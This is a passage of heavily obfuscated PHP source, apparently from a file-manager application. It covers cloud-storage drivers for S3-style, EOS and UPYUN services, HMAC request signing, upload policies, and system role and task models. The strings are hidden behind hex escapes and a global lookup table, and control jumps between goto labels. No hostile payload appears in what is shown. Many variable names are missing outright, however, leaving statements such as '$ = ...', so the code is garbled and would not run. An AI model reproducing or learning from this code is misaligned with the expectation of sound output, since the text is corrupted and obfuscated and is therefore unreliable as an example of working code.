gmdate($γ[256]); $Ή = gmdate($γ[257]); $ = $γ[258]; $ = $呜 . $γ[12]; $۶ = $γ[259]; $ = array($this->accessKey, $Ή, $this->region, $, $); $챇 = implode($γ[8], $); $ே = array($γ[260] => gmdate($γ[1372], strtotime($γ[262])), $γ[263] => array(array($γ[264] => $this->bucket), array($γ[265] => $), array($γ[266], $γ[267], $γ[12]), array($γ[266], $γ[268], $γ[12]), array($γ[266], $γ[269], $γ[12]), array($γ[270] => $۶), array($γ[271] => $챇), array($γ[272] => $ȟ᪽), array($γ[273] => $), array($γ[274] => $))); $и = base64_encode(json_encode($ே)); $ȿ = hash_hmac($γ[275], $Ή, $γ[276] . $this->secret, !0); $ྫྷ = hash_hmac($γ[275], $this->region, $ȿ, !0); $ = hash_hmac($γ[275], $, $ྫྷ, !0); $ì = hash_hmac($γ[275], $, $, !0); $䭩 = hash_hmac($γ[275], $и, $ì); $ = array($γ[232] => $γ[12], $γ[277] => $γ[12], $γ[265] => $, $γ[270] => $۶, $γ[278] => $и, $γ[279] => $챇, $γ[280] => $ȟ᪽, $γ[281] => $, $γ[282] => $, $γ[283] => $䭩, $γ[198] => $this->getHost()); return $; } public function multiUploadFormData($Ǽ, $ύ = 3600) { $迖 =& $_SERVER[ʇ]; $㤷 = gmdate($迖[1477]); $ = array(); $ˤ = $this->client->getUploadId($this->bucket, $Ǽ, $); if (!$ˤ) { return !1; } return array($迖[240] => $ˤ, $迖[198] => $this->getHost() . $迖[8] . $this->pathEncode($Ǽ), $迖[241] => $㤷, $迖[96] => $Ǽ); } public function multiUploadAuthData($Ș, $ϳ = array()) { $ơʳ =& $_SERVER[ʇ]; $ = isset($ϳ[$ơʳ[177]]) ? $ϳ[$ơʳ[177]] : $ơʳ[12]; $Е = $ϳ[$ơʳ[96]]; unset($ϳ[$ơʳ[96]]); if (isset($ϳ[$ơʳ[242]])) { return $this->listUploadParts($Е, $ϳ); } $ć = array(); if (isset($ϳ[$ơʳ[1478]])) { $ć[$ơʳ[1479]] = $ϳ[$ơʳ[1478]]; } $• = explode($ơʳ[200], $this->getHost()); $ǎų = array($ơʳ[1480] => $•[1], $ơʳ[1481] => $ơʳ[12], $ơʳ[232] => $ơʳ[122], $ơʳ[277] => $ϳ[$ơʳ[78]]); $ˎ = $ơʳ[245]; $׫ = $ơʳ[8] . $this->pathEncode($Е) . $; $ = $this->client->__getSignatureV4($ć, $ǎų, $ˎ, $׫); if (strpos($, $ơʳ[244]) === 0) { if (isset($ć[$ơʳ[1479]])) { $ = $ć[$ơʳ[1479]]; } else { if (isset($[$ơʳ[1479]])) { $ = $[$ơʳ[1479]]; } else { $ = hash($ơʳ[275], $ơʳ[12]); } } return array($ơʳ[251] => $[$ơʳ[251]], $ơʳ[1479] => $, $ơʳ[241] => $[$ơʳ[1482]]); } return $[$ơʳ[251]]; } public function listUploadParts($, $ = array()) { $ۦ =& $_SERVER[ʇ]; $򠯰 = str_replace($ۦ[252], $ۦ[12], $[$ۦ[177]]); $׊ = $this->client->listParts($this->bucket, $, $򠯰); if (!$׊) { return !1; } $ = $ۦ[1483]; foreach ($׊ as $ẽ) { $ .= $ۦ[1484] . "\74\120\x61\162\164\x4e\165\x6d\142\145\162\x3e{$ẽ[$ۦ[1440]]}\74\x2f\120\x61\x72\x74\x4e\x75\155\142\x65\162\x3e\12" . "\74\x45\x54\141\x67\76{$ẽ[$ۦ[1441]]}\74\57\x45\x54\141\x67\x3e\xa" . $ۦ[1485]; } $ .= $ۦ[1486]; $݊ = array(); $ڣ = explode($ۦ[200], $this->getHost()); $Ү = array($ۦ[1480] => $ڣ[1], $ۦ[232] => $ۦ[122], $ۦ[277] => strlen($)); $ړ = $ۦ[243]; $ = $ۦ[8] . $this->pathEncode($) . $[$ۦ[177]]; $лմ = $this->client->__getSignatureV4($݊, $Ү, $ړ, $, $); return array($ۦ[251] => $лմ[$ۦ[251]], $ۦ[241] => $лմ[$ۦ[1482]], $ۦ[253] => $׊, $ۦ[1479] => $лմ[$ۦ[1479]]); } public function link($, $ζ = array()) { return parent::link($, $ζ); } public function fileOut($Ҩ, $ = false, $ = false, $޺ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ʇ][1487])) { return parent::fileOutServer($Ҩ, $, $, $޺); } parent::fileOut($Ҩ, $, $, $޺); } public function fileOutImage($², $ = 250) { if (strstr($this->endpoint, $_SERVER[ʇ][1487])) { return parent::fileOutImageServer($², $); } parent::fileOutImage($², $); } public function fileOutLink($ޮ) { $﫬 =& $_SERVER[ʇ]; if (substr($ޮ, 0, 7) == $﫬[1378]) { $ޮ = $﫬[1379] . substr($ޮ, 7); } header($﫬[164] . $ޮ); die; } public function getHost() { $πЗ =& $_SERVER[ʇ]; $ = str_rtrim(parent::getHost(), $πЗ[8] . $this->bucket); $ = explode($πЗ[200], $); return $[0] . $πЗ[200] . $this->bucket . $πЗ[10] . $[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($˝ = false) { return $this->fileSubstr($˝, 0, $this->sourceSize); } public function fileSubstr($̘ = false, $ʑ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ղ = $this->sourceSize - $ʑ; if ($ >= $ղ) { $ = $ղ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ʑ, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[ʇ][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $ʑ); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ƥ = false) { return md5($this->getContent()); } public static function hash($ґ, $۹ = 0) { $ȩ = new PathDriverStream($ґ, $۹); return $ȩ->hashSimple($ґ); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\164\x70\x3a\x2f\x2f\x76\x30\56\141\x70\151\56\165\x70\x79\165\x6e\56\x63\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Ֆ) { parent::__construct(); $this->_init($Ֆ); } public function _init($) { $鴐 =& $_SERVER[ʇ]; foreach ($ as $㊿ => $Ҵ) { if (isset($this->{$㊿})) { $this->{$㊿} = $Ҵ; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($鴐[1488] . LNG($鴐[1420])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ֆ, $ = "\x47\105\x54") { $ =& $_SERVER[ʇ]; $ = gmdate($[1453]); $ = base64_encode(hash_hmac($[1489], "{$}\x26{$ֆ}\x26{$}", md5("{$this->userpass}"), !0)); $ެҔ = array("\x41\165\x74\150\157\162\x69\x7a\141\164\x69\x6f\x6e\x3a\x55\x50\131\125\x4e\40{$this->username}\x3a{$}", "\x44\x61\x74\145\x3a{$}"); return $ެҔ; } public function ussRequest($֫, $𖲥 = "\x47\105\x54", $ϧ = false, $ = false, $ȿ = false) { $ =& $_SERVER[ʇ]; $֫ = trim($֫, $[8]); $ = "\57{$this->bucket}\x2f{$֫}"; $ = $this->ussHeaders($, $𖲥); if ($) { $ = array_merge($, $); } $֏ = url_request($this->endpoint . $, $𖲥, $ϧ, $, $ȿ); if (!$֏) { return array($[1259] => !1, $[1249] => $[1490]); } if (strtolower($𖲥) == $[213] || in_array($֏[$[1259]], array($[259], $[1491]))) { $ϧ = $֏[$[1492]]; } else { $ϧ = json_decode($֏[$[1249]], !0); if (!$ϧ) { $ϧ = $֏[$[1249]]; } else { if (!$֏[$[789]] && isset($ϧ[$[1493]])) { $ϧ = $ϧ[$[1493]]; } } } return array($[1259] => $֏[$[789]], $[1249] => $ϧ); } public function mkfile($ː, $獵 = '', $ = REPEAT_RENAME) { if ($this->setContent($ː, $獵)) { return $this->getPathOuter($ː); } return !1; } public function mkdir($ッ, $ޚ = REPEAT_SKIP) { $榳 =& $_SERVER[ʇ]; $ȗ = trim($ッ, $榳[8]); if ($this->_isFolder($ȗ)) { return $this->getPathOuter($ȗ); } $Ј = array($榳[1494]); $廉 = $this->ussRequest($ȗ, $榳[243], !1, $Ј); return $廉[$榳[1259]] ? $this->getPathOuter($ȗ) : !1; } public function copyFile($, $ޮ) { $ =& $_SERVER[ʇ]; $ń = array($[1495] . "\57{$this->bucket}\x2f{$}", $[1496]); $ = $this->ussRequest($ޮ, $[245], !1, $ń); return $[$[1259]] ? !0 : $this->getPathOuter($ޮ); } public function moveFile($ӌ, $÷) { $ =& $_SERVER[ʇ]; $ = array($[1497] . "\57{$this->bucket}\x2f{$ӌ}", $[1496]); $й = $this->ussRequest($÷, $[245], !1, $); return $й[$[1259]] ? !0 : $this->getPathOuter($÷); } public function delFile($ƽ) { $ =& $_SERVER[ʇ]; $ۘ = $this->ussRequest($ƽ, $[1498]); return $ۘ[$[1259]] ? !0 : !1; } public function delFolder($ѕ) { $ҩɐ =& $_SERVER[ʇ]; if (!$this->exist($ѕ)) { return !0; } $this->listItemCache = !1; $ㇹ = $ū = array(); $this->fileList($ѕ, $ㇹ, $ū, !0); $this->listItemCache = !0; foreach ($ū as $ԉ) { $ = $this->ussRequest($ԉ[$ҩɐ[32]], $ҩɐ[1498]); if (!$[$ҩɐ[1259]]) { return !1; } } foreach ($ㇹ as $) { $ = $this->ussRequest($, $ҩɐ[1498]); if (!$[$ҩɐ[1259]]) { return !1; } } $ = $this->ussRequest($ѕ, $ҩɐ[1498]); return $[$ҩɐ[1259]]; } public function rename($酉, $) { if ($this->isFile($酉)) { $ = get_path_father($酉) . $; return $this->moveFile($酉, $); } return $this->renameObject($酉, $); } public function fileInfo($, $ = false, $ܵ = array()) { $ =& $_SERVER[ʇ]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($ܵ[$[78]]) ? $ܵ[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($ܵ)) { $ܵ = $this->objectMeta($); if (!$ܵ) { return $; } } $[$[217]] = intval($ܵ[$[1499]]); $[$[87]] = intval($ܵ[$[1500]]); $[$[78]] = $ܵ[$[78]]; return $; } public function folderInfo($׌, $І = false) { $͸ =& $_SERVER[ʇ]; $ = array($͸[32] => $this->pathThis($׌), $͸[86] => $this->getPathOuter($͸[8] . $׌), $͸[33] => $͸[77]); if ($І) { return $; } $[$͸[217]] = $[$͸[87]] = 0; $[$͸[218]] = $[$͸[219]] = !0; if (empty($ʁ)) { $ʁ = $this->objectMeta($׌); if (!$ʁ) { return $; } } $[$͸[217]] = intval($ʁ[$͸[1499]]); $[$͸[87]] = intval($ʁ[$͸[1500]]); return $; } private function listObjs($Ɍ, $ = 0, $Р = 1000) { $̪ =& $_SERVER[ʇ]; $ = array($̪[1501], $̪[1502] . $Р); if ($) { $[] = $̪[1503] . $; } $Ӏ = $this->ussRequest($Ɍ, $̪[247], !1, $); return !$Ӏ[$̪[1259]] ? !1 : $Ӏ[$̪[1249]]; } private function fileList($, &$, &$٬ҽ, $ = false) { $ =& $_SERVER[ʇ]; $Χ = $[12]; $ = 1000; $݇ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $Χ, $); if (!$) { return !1; } $Χ = isset($[$[1504]]) ? $[$[1504]] : $[12]; $ = isset($[$[1505]]) ? $[$[1505]] : array(); foreach ($ as $) { $ʬ = $[$[33]] == $[77] ? !0 : !1; $Ԡʹ = ltrim($݇ . $[$[32]], $[8]) . ($ʬ ? $[8] : $[12]); $Ԡ = array($[32] => $Ԡʹ, $[33] => $ʬ ? $[77] : $[216], $[78] => $[$[383]], $[1500] => $[$[1506]]); $this->cacheMethodInfoSet($Ԡʹ, $ʬ, $Ԡ); if ($ʬ) { $[] = $Ԡʹ; if ($) { $this->fileList($Ԡʹ, $, $٬ҽ, $); } continue; } $٬ҽ[] = $Ԡ; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $á = false) { $Đ =& $_SERVER[ʇ]; $ = $׹ = array(); $this->fileList($, $, $׹); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $á); } foreach ($׹ as $ => $) { $׹[$] = $this->fileInfo($[$Đ[32]], $á, $); } return array($Đ[84] => $, $Đ[85] => $׹); } public function has($쩑, $ = false, $ = true) { $ =& $_SERVER[ʇ]; $ٸ⍞ = $[12]; $ = 500; $ = 0; $ = 0; $Ღ = rtrim($쩑, $[8]) . $[8]; while (!0) { check_abort(); $ނ = $this->listObjs($쩑, $ٸ⍞, $); if (!$ނ) { return !1; } $ٸ⍞ = isset($ނ[$[1504]]) ? $ނ[$[1504]] : $[12]; $׸ = isset($ނ[$[1505]]) ? $ނ[$[1505]] : array(); if (empty($׸)) { break; } $猱 = array_filter($׸, function ($) { $ߥ =& $_SERVER[ʇ]; return $[$ߥ[33]] == $ߥ[77]; }); $鰇 = count($׸); $猱 = count($猱); $Ս = $鰇 - $猱; if ($) { $ += $猱; $ += $Ս; if ($鰇 < $) { break; } continue; } if ($) { if ($Ս) { return !0; } } else { if ($猱) { return !0; } } if ($鰇 < $) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($񻧶) { $ݓ͗ =& $_SERVER[ʇ]; $ˡ = $܉Ж = array(); $this->fileList($񻧶, $ˡ, $܉Ж, !0); $߱ = array_to_keyvalue($܉Ж, $ݓ͗[32]); foreach ($ˡ as $ߵ) { if (is_string($ߵ)) { $߱[$ߵ] = array($ݓ͗[78] => 0); } } return $this->listAllFiles($񻧶, $߱); } public function canRead($Ǩ) { return $this->exist($Ǩ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($與) { return $this->fileSubstr($與, 0, -1); } public function setContent($Ōϴ, $·֥ = '') { $ =& $_SERVER[ʇ]; if (!$·֥) { $ = $this->ussRequest($Ōϴ, $[243]); return $[$[1259]]; } $Ț = $this->tempFile($this->pathThis($Ōϴ)); file_put_contents($Ț, $·֥); if ($this->upload($Ōϴ, $Ț)) { $this->tempFileRemve($Ț); return !0; } return !1; } public function fileSubstr($߼, $͐ޑ, $ֲ߫) { $Ϧ =& $_SERVER[ʇ]; if (!($Џ = $this->link($߼))) { return !1; } $Ȝ = !1; if ($ֲ߫ > 0) { $ = $͐ޑ + $ֲ߫ - 1; $Ȝ = array($Ϧ[1467] . $͐ޑ . $Ϧ[432] . $); } $ƴ = url_request($Џ, $Ϧ[247], !1, $Ȝ); return $ƴ[$Ϧ[789]] ? $ƴ[$Ϧ[1249]] : !1; } public function upload($, $䌺, $ۦ = false, $޳ޭ = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $ҽÆ = IO::size($䌺); if ($ҽÆ <= 1024 * 1024 * 200) { $ߨ = array($[1507] . $䌺); $ = $this->ussRequest($, $[245], $ߨ); return $[$[1259]] ? $this->getPathOuter($) : !1; } $ħ̷ = 1024 * 1024 * 10; $ = array($[1508], $[1509] . $ҽÆ, $[1510], $[1511] . $ħ̷); $ = $this->ussRequest($, $[245], !1, $); if (!$[$[1259]]) { return !1; } $ = $[$[1249]]; $ = 0; $Ɠ = $[$[1512]]; $ = fopen($䌺, $[1414]); if (!$) { return !1; } do { $ = $[$[1513]]; fseek_64($, $); $¼ = fread($, $); $󝞊 = 0; do { $󝞊++; $ = $this->uploadPart($, $, $¼); } while (!$ && $󝞊 < 3); if (!$) { return !1; } $Ɠ = $[$[1512]]; $ += $; } while ($Ɠ != -1); fclose($); $ = array($[1514], $[1515] . $[$[1516]], $[1510]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1259]] ? $this->getPathOuter($¬) : !1; } private function uploadPart($ċ, $, &$Р) { $޷ =& $_SERVER[ʇ]; $ȯ = array($޷[1517], $޷[1515] . $[$޷[1516]], $޷[1518] . $[$޷[1512]], $޷[145] . $[$޷[1513]]); $ = $this->ussRequest($ċ, $޷[245], $Р, $ȯ); return !$[$޷[1259]] ? $[$޷[1259]] : $[$޷[1249]]; } public function uploadFormData($Բڭ, $ = 3600) { return $this->uploadPolicy($Բڭ, $); } public function multiUploadFormData($ٳ, $ = 3600) { $а =& $_SERVER[ʇ]; $ȱύ = (int) $GLOBALS[$а[7]][$а[78]]; return $this->uploadPolicy($ٳ, $, $ȱύ); } private function uploadPolicy($Ƽ, $қΣ = 3600, $Ÿ = 0) { $۵ =& $_SERVER[ʇ]; $ = $۵[8] . $this->bucket; $Ј = gmdate($۵[1453]); $ = array($۵[1519] => $this->bucket, $۵[1520] => $Ƽ, $۵[1521] => time() + $қΣ, $۵[1522] => $Ј); if ($Ÿ) { $[$۵[1434]] = $Ÿ; } $ = base64_encode(json_encode($)); $ǭ = base64_encode(hash_hmac($۵[1489], "\120\117\123\x54\46{$}\46{$Ј}\46{$}", md5("{$this->userpass}"), !0)); $ٗ޸ = array($۵[278] => $, $۵[1523] => "\125\120\131\125\116\40{$this->username}\72{$ǭ}", $۵[198] => $this->endpoint . $); return $ٗ޸; } public function download($, $н) { $Ć = IO::getPathInner(IO::mkfile($н)); if (!($啓 = $this->link($))) { return !1; } $Ӹ = 0; $ = 1024 * 200; $ = fopen($Ć, $_SERVER[ʇ][1473]); while (!0) { $í = $this->fileSubstr($, $Ӹ, $); if ($í === !1) { return !1; } fwrite($, $í); $Ӹ += $; if (strlen($í) < $) { break; } } fclose($); return $н; } public function link($, $Χ = array()) { $ʽ =& $_SERVER[ʇ]; $ = trim($, $ʽ[8]); if (!empty($this->token)) { $Ȭ = strtotime(date($ʽ[1524])); $ = substr(md5($this->token . $ʽ[330] . $Ȭ . $ʽ[1525] . $), 12, 8) . $Ȭ; $Χ[] = $ʽ[1526] . $; } $ԤĔ = !empty($Χ) ? $ʽ[75] . implode($ʽ[330], $Χ) : $ʽ[12]; return $this->getHost() . $ʽ[8] . $ . $ԤĔ; } public function fileOut($, $ʻ = false, $ݚԼ = false, $Ÿ֝ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ʻ, $ݚԼ, $Ÿ֝); } if (!$ݚԼ) { $ݚԼ = $this->pathThis($); } $̀ = $ʻ ? array($_SERVER[ʇ][1527] . rawurlencode($ݚԼ)) : array(); $̝ = $this->link($, $̀); $this->fileOutLink($̝); } public function fileOutServer($, $ = false, $肮 = false, $ = '') { parent::fileOut($, $, $肮, $); } public function fileOutImage($ƈ, $֐ = 250) { $ = $this->link($ƈ . $_SERVER[ʇ][1528] . $֐); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ƃ =& $_SERVER[ʇ]; $鸇 = $this->_objectMeta($); return isset($鸇[$ƃ[230]]) ? $鸇[$ƃ[230]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ʇ][78]] : 0; } public function info($ޖ) { if ($this->isFolder($ޖ)) { return $this->folderInfo($ޖ); } else { if ($this->isFile($ޖ)) { return $this->fileInfo($ޖ); } } return !1; } public function exist($Ơ) { return $this->isFile($Ơ) || $this->isFolder($Ơ); } public function isFile($蝲) { return !$this->isFolder($蝲) && $this->objectMeta($蝲); } public function isFolder($ȃ) { return $this->cacheMethod($_SERVER[ʇ][168], $ȃ); } protected function objectMeta($Ӻ) { return $this->cacheMethod($_SERVER[ʇ][170], $Ӻ); } protected function _objectMeta($) { $۲ =& $_SERVER[ʇ]; if ($ == $۲[12] || $ == $۲[8]) { return array(); } $Ա = $this->ussRequest($, $۲[1529]); if (!$Ա[$۲[1259]]) { return null; } $ = isset($Ա[$۲[1249]]) ? $Ա[$۲[1249]] : array(); if (!isset($[$۲[1530]])) { return null; } $ϕ = array($۲[33] => isset($[$۲[1530]]) ? $[$۲[1530]] : null, $۲[78] => isset($[$۲[1531]]) ? $[$۲[1531]] : null, $۲[230] => isset($[$۲[1532]]) ? $[$۲[1532]] : null, $۲[1499] => isset($[$۲[1533]]) ? $[$۲[1533]] : null); $ϕ[$۲[1500]] = isset($[$۲[1534]]) ? strtotime($[$۲[1534]]) : $ϕ[$۲[1499]]; return $ϕ; } protected function _isFolder($׉) { $ߎ =& $_SERVER[ʇ]; if ($׉ == $ߎ[12] || $׉ == $ߎ[8]) { return !0; } $ = $this->_objectMeta($׉); return isset($[$ߎ[33]]) && $[$ߎ[33]] == $ߎ[77] ? !0 : !1; } } goto Cٻ; A: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($։) { $this->pathParse = $։; } protected function infoParse($, $ = false) { $ =& $_SERVER[ʇ]; return Action($[1221])->sharePathInfo($this->pathParse[$[86]], !0, $); } public function listPath($ǖ, $ = false) { $ʽٺ =& $_SERVER[ʇ]; $丄 = IO::listPath($ǖ, $); if (!$丄) { return $丄; } if (is_array($丄[$ʽٺ[1388]])) { $恭 = Action($ʽٺ[1397])->parsePathChildren($丄[$ʽٺ[1388]], array($ʽٺ[465] => $ǖ)); $丄[$ʽٺ[1388]] = Action($ʽٺ[1221])->shareItemInfo($恭); } foreach ($丄 as $Ӄ => $Лӌ) { if (!in_array($Ӄ, array($ʽٺ[85], $ʽٺ[84]))) { continue; } foreach ($Лӌ as $Ё => $恭) { $恭 = Action($ʽٺ[1397])->parsePathChildren($恭, array($ʽٺ[465] => $ǖ)); $丄[$Ӄ][$Ё] = Action($ʽٺ[1221])->shareItemInfo($恭); } } return $丄; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($ծӅ) { parent::__construct($ծӅ); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ݔǔ) { parent::__construct($ݔǔ); $this->signatureVersion($_SERVER[ʇ][233]); } public function uploadFormData($, $ƿ = 3600) { $Ϛ =& $_SERVER[ʇ]; $֕ = $Ϛ[215]; $å = $Ϛ[255]; $ڿ = $Ϛ[62]; $ = gmdate($Ϛ[256]); $̗Ƙ = gmdate($Ϛ[257]); $ = $Ϛ[258]; $ø = $ƿ . $Ϛ[12]; $þ = $Ϛ[259]; $ٻ = array($this->accessKey, $̗Ƙ, $this->region, $ڿ, $); $Э = implode($Ϛ[8], $ٻ); $ = array($Ϛ[260] => gmdate($Ϛ[1372], strtotime($Ϛ[262])), $Ϛ[263] => array(array($Ϛ[264] => $this->bucket), array($Ϛ[265] => $֕), array($Ϛ[266], $Ϛ[267], $Ϛ[12]), array($Ϛ[266], $Ϛ[268], $Ϛ[12]), array($Ϛ[266], $Ϛ[269], $Ϛ[12]), array($Ϛ[270] => $þ), array($Ϛ[271] => $Э), array($Ϛ[272] => $å), array($Ϛ[273] => $), array($Ϛ[274] => $ø))); $鷲 = base64_encode(json_encode($)); $߂ = hash_hmac($Ϛ[275], $̗Ƙ, $Ϛ[276] . $this->secret, !0); $߱ = hash_hmac($Ϛ[275], $this->region, $߂, !0); $ = hash_hmac($Ϛ[275], $ڿ, $߱, !0); $ = hash_hmac($Ϛ[275], $, $, !0); $ā = hash_hmac($Ϛ[275], $鷲, $); $ֲ׶ = array($Ϛ[232] => $Ϛ[12], $Ϛ[277] => $Ϛ[12], $Ϛ[265] => $֕, $Ϛ[270] => $þ, $Ϛ[278] => $鷲, $Ϛ[279] => $Э, $Ϛ[280] => $å, $Ϛ[281] => $, $Ϛ[282] => $ø, $Ϛ[283] => $ā, $Ϛ[198] => $this->getHost()); return $ֲ׶; } } goto a΍֙; E޼θ: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\155\56\162\157\x6c\x65\x4c\151\163\164"; public $field = array("\x6e\141\155\145", "\x61\x75\x74\150", "\x6c\141\142\x65\154", "\x64\x69\163\160\154\141\171", "\x73\171\163\x74\145\x6d", "\144\145\163\143", "\x69\x67\x6e\157\x72\x65\105\170\x74", "\151\147\x6e\x6f\x72\x65\x46\x69\154\145\x53\151\x7a\x65", "\x61\144\155\x69\156\x69\163\x74\162\x61\x74\x6f\162", "\163\x6f\162\x74"); public function listData($Ҷ = false, $ԭ = "\x73\157\x72\164", $ڒ = false) { $ =& $_SERVER[ʇ]; $ = parent::listData($Ҷ, $ԭ, $ڒ); if (!$Ҷ) { foreach ($ as $ă => $) { if ($[$[2102]] == 1) { $[$ă][$[496]] = LNG($[2342]); } } } return $; } public function update($힪, $) { $㤵 =& $_SERVER[ʇ]; $几 = parent::listData($힪); $ = $this->findByName($[$㤵[32]]); if (!$几 || $ && $[$㤵[445]] != $几[$㤵[445]]) { return !1; } if ($[$㤵[2102]] == 1) { $ = array($㤵[32] => $[$㤵[32]], $㤵[1922] => $[$㤵[1922]]); } $this->filterAuth($[$㤵[457]]); return parent::update($힪, $); } public function remove($Ԇ) { $ܣ = parent::listData($Ԇ); if (!$ܣ || $ܣ[$_SERVER[ʇ][181]]) { return !1; } return parent::remove($Ԇ); } public function add($) { $ӯ =& $_SERVER[ʇ]; $ = $[$ӯ[32]]; if ($this->findByName($)) { return !1; } $۪ = array($ӯ[464] => $, $ӯ[1905] => $ӯ[12], $ӯ[1901] => $ӯ[1909], $ӯ[2343] => 1, $ӯ[1904] => 0, $ӯ[2344] => 0, $ӯ[1903] => $this->getSort()); $ = array_merge($۪, $); $this->filterAuth($[$ӯ[457]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[ʇ]; $ = parent::listData(); $˰ = array_to_keyvalue($, $[12], $[1923]); return empty($˰) ? 0 : max($˰) + 1; } private function filterAuth(&$) { $χ =& $_SERVER[ʇ]; $ = array(); $Ѻ = array_filter(explode($χ[50], $)); foreach ($Ѻ as $) { $ɧ = explode($χ[10], $); if ($ɧ[0] == $χ[2345] && $ɧ[1] != $χ[1237]) { $龖 = $ɧ[0] . $χ[10] . $ɧ[1] . $χ[2346]; if (!in_array($龖, $Ѻ)) { $[] = $龖; } } $[] = $; } $ = implode($χ[50], $); } public function findRoleDefault() { $ =& $_SERVER[ʇ]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$[1921]] == $[214] || $[$[2102]] == 1) { continue; } if (strstr($[$[457]], $[2347])) { continue; } if (!strstr($[$[457]], $[2348])) { continue; } if (!$) { $ = $; continue; } $ҝ = explode($[50], $[$[457]]); $ = explode($[50], $[$[457]]); if (count($ҝ) > count($)) { $ = $; } } return $ ? $[$[445]] : $[12]; } public function sort($ǎÆ, $) { return parent::update($ǎÆ, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\155\56\164\141\163\153\x4c\x69\x73\x74"; public $field = array("\156\x61\x6d\x65", "\x74\171\x70\x65", "\x65\x76\145\156\x74", "\164\x69\x6d\145", "\x64\145\x73\x63", "\163\x79\x73\x74\145\x6d", "\145\x6e\141\x62\x6c\x65", "\x6c\x61\163\164\122\x75\156", "\163\157\162\x74"); public function listData($ = false, $Ϡ⬇ = "\163\x6f\162\x74", $Ğ = false) { return parent::listData($, $Ϡ⬇, $Ğ); } public function add($) { $ =& $_SERVER[ʇ]; $ј = $this->findByName($[$[32]]); if ($ј) { return !1; } $[$[1652]] = 0; $[$[1923]] = $this->getSort(); return parent::insert($); } private function getSort() { $ˏá =& $_SERVER[ʇ]; $ = parent::listData(); $ = array_to_keyvalue($, $ˏá[12], $ˏá[1923]); return empty($) ? 0 : max($) + 1; } public function update($ǡ, $) { $ȷ =& $_SERVER[ʇ]; $Ψ = $this->listData($ǡ); $ދ = $this->findByName($[$ȷ[32]]); if (!$Ψ || $ދ && $ދ[$ȷ[445]] != $Ψ[$ȷ[445]]) { return !1; } return parent::update($ǡ, $); } public function remove($Ւ, $՘ = false) { $ᤘ =& $_SERVER[ʇ]; $׎ڗ = $this->listData($Ւ); if (!$׎ڗ) { return; } if (!$՘ && $׎ڗ[$ᤘ[181]] == $ᤘ[90]) { return !1; } return parent::remove($Ւ); } public function enable($臣, $ϑ) { return $this->update($臣, array($_SERVER[ʇ][2337] => $ϑ)); } public function run($) { return $this->update($, array($_SERVER[ʇ][2349] => time())); } } goto C⢓; dܞ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $އ =& $_SERVER[ʇ]; parent::startAfter(); Hook::bind($އ[1825], array($this, $އ[1815])); Hook::bind($އ[1817], array($this, $އ[1818])); $ =& $this->task; $[$އ[1819]] = $އ[1241]; if (!$[$އ[1591]]) { $[$އ[1591]] = LNG($އ[1826]); } } protected function endAfter() { $Ȁ =& $_SERVER[ʇ]; parent::endAfter(); Hook::unbind($Ȁ[1825], array($this, $Ȁ[1815])); Hook::unbind($Ȁ[1817], array($this, $Ȁ[1818])); } public function updateAfter() { $ =& $_SERVER[ʇ]; $ބ =& $this->task; if (!$ބ[$[825]] || !$ބ[$[802]]) { return; } if ($ބ[$[1819]] == $[1241]) { $ = $ބ[$[1755]]; if ($ބ[$[1756]] != $[1241]) { $ = 0; } $솥 = ($ބ[$[1759]] + $) / $ބ[$[802]]; $ބ[$[1703]] = $솥 * 0.3; } else { if ($ބ[$[1819]] == $[359]) { $솥 = $ބ[$[1702]] / $ބ[$[825]]; $ބ[$[1703]] = 0.3 + $솥 * 0.5; } else { if ($ބ[$[1819]] == $[109]) { $솥 = 0; if ($ބ[$[1754]]) { $솥 = $ބ[$[1755]] / $ބ[$[1754]]; } $ބ[$[1703]] = 0.3 + 0.5 + $솥 * 0.2; } } } if ($ބ[$[1703]] > 0) { $ٔ = timeFloat() - $ބ[$[1705]] - $ބ[$[1708]]; $ބ[$[1709]] = $ٔ * (1 - 